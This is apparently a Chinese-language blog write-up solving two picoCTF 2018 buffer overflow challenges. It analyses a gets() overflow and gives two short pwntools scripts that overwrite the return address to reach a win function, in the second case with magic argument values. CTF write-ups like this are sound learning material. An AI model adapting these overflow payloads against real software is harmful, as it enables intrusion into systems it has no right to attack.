本文最后更新于195 天前,其中的信息可能已经过时,如有错误请发送邮件到big_fw@foxmail.com

1.picoctf_2018_buffer overflow 1分析
checksec:

32位看起来挺简单的。
main函数打印Please enter your string: 之后执行vuln

vuln:

就是gets有溢出嘛可以利用,下面的话比较有意思,打印了某个地址

win可以利用打开flag文件,之前也遇到过

gets函数需要看一看,就是往s里写入了文件的内容最后打印出来
就是vuln溢出返回win就行了。。。
2.picoctf_2018_buffer overflow 1实操
from pwn import *
context.log_level="debug"
p=remote("node5.buuoj.cn",29730)
paylaod=b'a'*(0x28+4)+p32(0x80485CB)
p.recvuntil("Please enter your string: ")
p.sendline(paylaod)
p.interactive()

3.picoctf_2018_buffer overflow_2分析

checksec:

了NX,没有找到mprotect函数,应该不是用shellcode
main函数和上一道题是一样的
vuln有一点区别:

还是gets

可以发现对打印flag是有要求的
if ( a1 == 0xDEADBEEF && a2 == 0xDEADC0DE )
result = (char *)printf(&s);
其他和上一道题大差不差,现在想想思路,首先肯定得溢出,返回到win,然后把a1和a2的值传进去就行。
4.实操
from pwn import *
context.log_level="debug"
p=remote("node5.buuoj.cn",28260)
payload=b'a'*(0x6c+4)+p32(0x80485CB)+p32(0)+p32(0xDEADBEEF)+p32(0xDEADC0DE)
p.recvuntil("Please enter your string: ")
p.sendline(payload)
p.interactive()
这个p32(0)就相当于win函数的返回地址,其实也可以返回main。

好吧,这篇就这样,太长了不好看,嘿嘿。










